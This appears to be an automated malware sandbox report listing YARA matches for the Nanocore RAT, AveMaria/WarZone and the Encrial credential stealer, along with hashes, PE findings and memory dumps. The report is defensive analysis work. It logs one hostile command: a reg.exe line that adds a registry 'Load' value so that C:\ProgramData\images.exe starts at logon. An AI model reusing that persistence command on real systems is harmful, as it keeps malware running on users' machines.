Source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 40.2.KetqqsbuJ.exe.5160000.18.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.40006e6.16.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3cae5cf.7.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c8e8a4.34.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 40.2.KetqqsbuJ.exe.2d479bc.3.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d479bc.3.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.2cf4ec4.2.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.5280000.21.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c20000.28.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c84c9f.33.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 40.2.KetqqsbuJ.exe.6c70000.32.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c40000.30.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6ab0000.25.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.60a0000.24.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c40000.30.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c50000.31.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3ff22b6.15.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.3e88e65.12.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c10000.27.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3ca9930.8.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c10000.27.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.6c00000.26.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c80000.35.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d3334c.4.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c30000.29.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3fe9487.14.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c80000.35.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.5280000.21.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000028.00000002.483249527.0000000006C70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.482686729.00000000060A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.482161790.0000000005280000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483106332.0000000006C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Author: unknown
Source: 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483212056.0000000006C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.480758507.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000028.00000002.482070499.0000000005160000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.477157085.0000000002D0B000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000028.00000002.483147601.0000000006C20000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483312618.0000000006CC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.483262615.0000000006C80000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Author: unknown
Source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040EDA9 GetCurrentProcess,NtQueryInformationProcess, 7_2_0040EDA9
Detected potential crypto function
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00413279 7_2_00413279
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041DEAA 7_2_0041DEAA
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_06CD1998 40_2_06CD1998
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_06CC46D3 40_2_06CC46D3
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_06CC42EB 40_2_06CC42EB
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_06CC3324 40_2_06CC3324
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE480 40_2_02BEE480
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE47B 40_2_02BEE47B
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEBBD4 40_2_02BEBBD4
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050AF5F8 40_2_050AF5F8
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050A9788 40_2_050A9788
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050AA61B 40_2_050AA61B
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050AA611 40_2_050AA611
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: String function: 004036F7 appears 71 times
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: String function: 00411E88 appears 49 times
PE file contains strange resources
Source: Xjf4yH9N2t.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Xjf4yH9N2t.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Xjf4yH9N2t.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: images.exe.7.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: images.exe.7.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: images.exe.7.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: microC[1].exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: microC[1].exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: microC[1].exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: KetqqsbuJ.exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: KetqqsbuJ.exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: KetqqsbuJ.exe.22.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.40.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.40.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.40.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Sample file is different than original file name gathered from version info
Source: Xjf4yH9N2t.exe, 00000000.00000000.203862772.0000000000972000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameMdaHelp.exe< vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe Binary or memory string: OriginalFilename vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe, 00000005.00000002.242412512.0000000000082000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameMdaHelp.exe< vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe Binary or memory string: OriginalFilename vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe, 00000006.00000002.243660750.00000000000F2000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameMdaHelp.exe< vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe Binary or memory string: OriginalFilename vs Xjf4yH9N2t.exe
Source: Xjf4yH9N2t.exe, 00000007.00000000.244612473.0000000000762000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameMdaHelp.exe< vs Xjf4yH9N2t.exe
Spawns drivers
Source: unknown Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys
Uses 32bit PE files
Source: Xjf4yH9N2t.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Yara signature match
Source: 40.2.KetqqsbuJ.exe.6c50000.31.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c50000.31.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c70000.32.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c70000.32.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.60a0000.24.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.60a0000.24.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3cb81d4.6.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3cb81d4.6.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.40006e6.16.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.40006e6.16.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c30000.29.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c30000.29.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.6c00000.26.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.6c00000.26.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
